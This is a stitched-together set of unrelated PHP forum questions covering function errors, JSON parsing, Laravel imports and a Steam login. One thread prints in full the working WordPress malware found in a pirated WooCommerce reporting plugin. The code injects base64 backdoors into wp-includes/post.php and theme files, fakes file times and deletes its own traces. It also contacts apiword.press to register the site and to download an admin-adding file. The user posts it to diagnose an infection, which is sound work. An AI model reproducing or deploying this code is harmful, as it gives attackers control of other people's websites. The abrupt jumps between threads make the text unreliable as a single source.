I got this error:
Fatal error: Call to undefined function updateRows()
but I have defined updateRows(), so what is wrong?
Here is my code:
<?php
if ($this->num_rows > 0) {
$i = 0;
while ($row = $stmt->fetchObject()) {
$appleIDS[$i] = array(
$row->id,
$row->pass,
$row->en_b_y,
$row->en_b_m,
$row->en_b_d,
$row->sqa1,
$row->sqa2,
$row->sqa3
);
$i++;
}
updateRows($this->pre_head, $head);
killTheConnection();
return $appleIDS;
}
killTheConnection();
return $check;
}
function updateRows($pre_head, $head) // here is my function
{
$this->mysqli_connet();
try {
$sql = "UPDATE appleid " . "SET taken = 'yes'" . "," . "taken_time=now()" . "WHERE num>=$pre_head AND num<=$head;";
$stmt = $GLOBALS['$connection']->prepare($sql);
$stmt->execute();
echo $stmt->rowCount();
}
catch (PDOException $e) {
echo $sql . "<br>" . $e->getMessage();
}
killTheConnection();
}
?>
<?php function getCurrencyFor($arr, $findCountry) {
foreach($arr as $country) {
if ($country->name->common == $findCountry) {
$currency = $country->currency[0];
$capital = $country->capital;
$region = $country->region;
break;
}
}
return $country();
}
$json = file_get_contents("https://raw.githubusercontent.com/mledoze/countries/master/countries.json");
$arr = json_decode($json);
// Call our function to extract the currency for Angola:
$currency = getCurrencyFor($arr, "Aruba");
echo $country('$capital');
echo $country('$currency');
echo $country('$region');
?>
I followed this post - https://stackoverflow.com/a/38906191/3939981
If I rewrite the code inside function, it works
<?php function getCurrencyFor($arr, $findCountry) {
foreach($arr as $country) {
if ($country->name->common == $findCountry) {
$currency = $country->currency[0];
$capital = $country->capital;
$region = $country->region;
echo $capital;
echo $currency;
echo $region;
break;
}
}
return $currency;
}
$json = file_get_contents("https://raw.githubusercontent.com/mledoze/countries/master/countries.json");
$arr = json_decode($json);
// Call our function to extract the currency for Angola:
$currency = getCurrencyFor($arr, "Aruba");
?>
Maybe some parts of the code did not work..Any comments and thoughs
You could use this code. Note that if you want a function to return three values, you should create an array with those values, and return that array. I also renamed the function, since it does not only return currency information:
function getCountryInfo($arr, $findCountry) {
foreach($arr as $country) {
if ($country->name->common == $findCountry) {
return array(
"currency" => $country->currency[0],
"capital" => $country->capital,
"region" => $country->region
);
}
}
}
$json = file_get_contents("https://raw.githubusercontent.com/mledoze/countries/master/countries.json");
$arr = json_decode($json);
// Call our function to extract the currency for Angola:
$country = getCountryInfo($arr, "Aruba");
echo $country['capital'] . "<br>";
echo $country['currency'] . "<br>";
echo $country['region'] . "<br>";
So I made a website for someone about 2 months ago and recently they had a few error on their website. I checked the database to see if that was the origin of the errors and in the 'wp_postmeta' table is where I found the source of the errors. There is about 10,000+ records in that table with the following 'meta_key'
_wp_plugin_attachment_metadata_15bb2106fd50f3ff3f8...
The name is different every time and the name is longer. They all have that as the 'meta_key' and each belong to a page on the site. Any idea of what this is and If their is any quick ways of deleting it without causing hurt on the site?
For anyone else who has this problem please use this code below (you may have to alter it)
DELETE FROM wp_postmeta WHERE SUBSTR(meta_key, 1, 31) = '_wp_plugin_attachment_metadata_'
I got this issue because of this plugin:
Advanced_Woocommerc_Reporting
Malware is int this file: /Advanced_Woocommerc_Reporting/Advanced_Woo_Reporting/includes/woocp.php
and code in this file:
<?php
//install_code
DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUNocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjNza1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4c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SVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3dwLWluY2x1ZGVzL2NsYXNzLndwLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vYXBpd29yZC5wcmVzcy9hZGRhZG1pbl8xLnR4dCcpKTsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KDQoJaWYgKCRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKSkNCgkJew0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2UoJyEvL2luc3RhbGxfY29kZS4qLy9pbnN0YWxsX2NvZGVfZW5kIXMnLCAnJywgJGZpbGUpOw0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2UoJyE8XD9waHBccypcPz4hcycsICcnLCAkZmlsZSk7DQoJCQlAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJfQ0KDQovL2luc3RhbGxfY29kZV9lbmQNCg0KPz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Pz4=';
$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();
$search = Array(
Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);
function getDirList($path)
{
if ($dir = #opendir($path))
{
$result = Array();
while (($filename = #readdir($dir)) !== false)
{
if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename))
$result[] = $path . '/' . $filename;
}
return $result;
}
return false;
}
function WP_URL_CD($path)
{
if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
{
if (strpos($file, 'wp-cd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
}
}
}
function SearchFile($search, $path)
{
if ($dir = #opendir($path))
{
$i = 0;
while (($filename = #readdir($dir)) !== false)
{
if ($i > MAX_ITERATION) break;
$i++;
if ($filename != '.' && $filename != '..')
{
if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey']))
{
SearchFile($search, $path . '/' . $filename);
}
else
{
foreach ($search as $_)
{
if (strtolower($filename) == strtolower($_['file']))
{
$GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
}
}
}
}
}
}
}
if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {
if (isset($_GET['plugin']))
{
global $wpdb ;
}
$install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsKCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJl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0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hlYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNoZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
{
$themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
if ($list = scandir( $themes ))
{
foreach ($list as $_)
{
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
if (strpos($content, 'WP_URL_CD') === false)
{
$content = $install_code . $content ;
#file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else
{
$ping = false;
}
}
}
}
if ($ping) {
$content = #file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
#file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
}
}
}
for ($i = 0; $i<MAX_LEVEL; $i++)
{
$dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
}
foreach ($dirs as $dir)
{
foreach (#getDirList($dir) as $__)
{
#SearchFile($search, $__);
}
}
foreach ($GLOBALS['DIR_ARRAY'] as $e)
{
if ($file = file_get_contents($e[1]))
{
if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
{
if ($salt[1] != AUTH_SALT)
{
WP_URL_CD(dirname($e[1]));
}
}
}
}
if ($file = #file_get_contents(__FILE__))
{
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
$file = preg_replace('!<\?php\s*\?>!s', '', $file);
#file_put_contents(__FILE__, $file);
}
}
//install_code_end
?><?php error_reporting(0);?>
Solved! Will post the working answer tonight. Might be helpfull to others.
I'm trying to run a script I made a few months back. The script was set up to be used with a directory filled with .json files (45 files containing 200 items each) and it runs through those files to fetch data and then store them with a query in the database.
Problem is I can't use $conn inside my laravel project so I'm at a loss how i can now connect to the database and store all my data. I can read the json no problem and I have a model inside my laravel project for the corresponding table with all fields set to fillable.
Here's my code:
<?php
namespace App\Http\Controllers;
use DB;
use App\Http\Controllers\Controller;
class JsonController extends Controller
{
public function importJson() {
$path = realpath('AllSetFiles/');
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)) as $filename)
{
if ($filename->isDir()) continue;
// Include the JSON and put it inside $data.
$jsondata = file_get_contents($filename);
$data = json_decode($jsondata, true);
// Echo the variables to the screen or put them in the database. (y shows to screen)
$echo = "n";
// foreach card in cards in the JSON file put all values in their named variables.
foreach($data['cards'] as $cards => $values) {
if(isset($values['multiverseid'])) {
$multiverseid = $values['multiverseid'];
} else {
$multiverseid = "";
}
$name = $values['name'];
if (isset($values['manaCost'])) {
$manaCost_array = array();
$manaCost_array = array($values['manaCost']);
$manaCost = implode (", ", $manaCost_array);
} else {
$manaCost = "";
}
if (isset($values['cmc'])) {
$cmc = $values['cmc'];
} else {
$cmc = "";
}
if (isset($values['colors'])) {
$colors_array = array();
$colors_array = $values['colors'];
$colors = implode (", ", $colors_array);
} else {
$colors = "";
}
if (isset($values['type'])) {
$type = $values['type'];
} else {
$type = "";
}
if (isset($values['supertypes'])){
$supertypes_array = array();
$supertypes_array = $values['supertypes'];
$supertypes = implode (", ", $supertypes_array);
} else {
$supertypes = "";
}
if (isset($values['types'])){
$types_array = array();
$types_array = $values['types'];
$types = implode (", ", $types_array);
} else {
$types = "";
}
if (isset($values['subtypes'])){
$subtypes_array = array();
$subtypes_array = $values['subtypes'];
$subtypes = implode (", ", $subtypes_array);
} else {
$subtypes = "";
}
if (isset($values['rarity'])) {
$rarity = $values['rarity'];
} else {
$rarity = "";
}
if (isset($data['code'])) {
$serie = $data['code'];
} else {
$serie = "";
}
if (isset($values['text'])) {
$text = $values['text'];
} else {
$text = "";
}
if (isset($values['flavor'])) {
$flavor = $values['flavor'];
} else {
$flavor = "";
}
if (isset($values['artist'])) {
$artist = $values['artist'];
} else {
$artist = "";
}
if (isset($values['number'])) {
$number = $values['number'];
} else {
$number = "";
}
if (isset($values['power'])) {
$power = $values['power'];
} else {
$power = "";
}
if (isset($values['toughness'])) {
$toughness = $values['toughness'];
} else {
$toughness = "";
}
if (isset($values['layout'])) {
$layout = $values['layout'];
} else {
$layout = "";
}
if (isset($values['imageName'])) {
$imageName = $values['imageName'];
} else {
$imageName = "";
}
if ($echo == "y"){
echo 'multiverseid: <b>' . $multiverseid . '</b></br>';
echo 'name: <b>' . $name . '</b><br/>';
echo 'serie: ' . $serie . '<br/>';
echo 'manaCost:' . $manaCost . '<br/>';
echo 'cmc: ' . $cmc . '<br/>';
echo 'colors: ' . $colors . '<br/>';
echo 'type: ' . $type . '<br/>';
echo 'supertypes:' . $supertypes . '<br/>';
echo 'types: ' . $types . '<br/>';
echo 'subtypes: ' . $subtypes . '<br/>';
echo 'rarity: ' . $rarity . '<br/>';
echo 'text: ' . $text . '<br/>';
echo 'flavor: ' . $flavor . '<br/>';
echo 'artist: ' . $artist . '<br/>';
echo 'number: ' . $number . '<br/>';
echo 'power: ' . $power . '<br/>';
echo 'toughness: ' . $toughness . '<br/>';
echo 'layout: ' . $layout . '<br/>';
echo 'imageName: ' . $imageName . '<br/>';
echo 'src="http://gatherer.wizards.com/Handlers/Image.ashx?multiverseid=' . $multiverseid . '&type=card"<br/>';
echo '<br/><hr><br>';
} else {
// Put all variables in a query and send it to the database.
DB::table('cards')->insert(
[
'multiverseid' => $multiverseid,
'name' => $name,
'serie' => $serie,
'manaCost' => $manaCost,
'cmc' => $cmc,
'colors' => $colors,
'type' => $type,
'supertypes' => $supertypes,
'types' => $types,
'subtypes' => $subtypes,
'rarity' => $rarity,
'text' => $text,
'flavor' => $flavor,
'artist' => $artist,
'number' => $number,
'power' => $power,
'toughness' => $toughness,
'layout' => $layout,
'imageName' => $imageName
]
);
} // end if show or query loop
} // end foreach loop
} // end foreach recursiveIterator
} // end of function importJson
} // end of class
?>
And in my routes.php:
// JSON
Route::get('importjson', 'JsonController#importJson');
going to myapp.com/importjson gives me the following error:
Class 'App\Http\Controllers\RecursiveIteratorIterator' not found
If I remove the or die("MySQL ERROR: ".mysqli_error()); from the code below, it gives me no error. But it also doesn't write to the database.
What am I doing wrong?
ob_start();
session_start();
require ('openid.php');
function logoutbutton() {
echo "<form action=\"steamauth/logout.php\" method=\"post\"><input value=\"Logout\" type=\"submit\" /></form>"; //logout button
}
function steamlogin() {
try {
require("steamauth/settings.php");
$openid = new LightOpenID($steamauth['domainname']);
$button['small'] = "small";
$button['large_no'] = "large_noborder";
$button['large'] = "large_border";
$button = $button[$steamauth['buttonstyle']];
if(!$openid->mode) {
if(isset($_GET['login'])) {
$openid->identity = 'http://steamcommunity.com/openid';
header('Location: ' . $openid->authUrl());
}
//echo "<form action=\"?login\" method=\"post\"> <input type=\"image\" src=\"http://cdn.steamcommunity.com/public/images/signinthroughsteam/sits_".$button.".png\"></form>";
} elseif($openid->mode == 'cancel') {
echo 'User has canceled authentication!';
} else {
if($openid->validate()) {
$id = $openid->identity;
$ptn = "/^http:\/\/steamcommunity\.com\/openid\/id\/(7[0-9]{15,25}+)$/";
preg_match($ptn, $id, $matches);
$_SESSION['steamid'] = $matches[1];
include_once("set.php");
$query = mysqli_query("SELECT * FROM users WHERE steamid='".$_SESSION['steamid']."'");
if (mysqli_num_rows($query) == 0) {
mysqli_query("INSERT INTO users (steamid) VALUES ('".$_SESSION['steamid']."')") or die("MySQL ERROR: ".mysqli_error());
}
if (isset($steamauth['loginpage'])) {
header('Location: '.$steamauth['loginpage']);
}
} else {
echo "User is not logged in.\n";
}
}
} catch(ErrorException $e) {
echo $e->getMessage();
}
}
Here's a screen-shot of my database structure: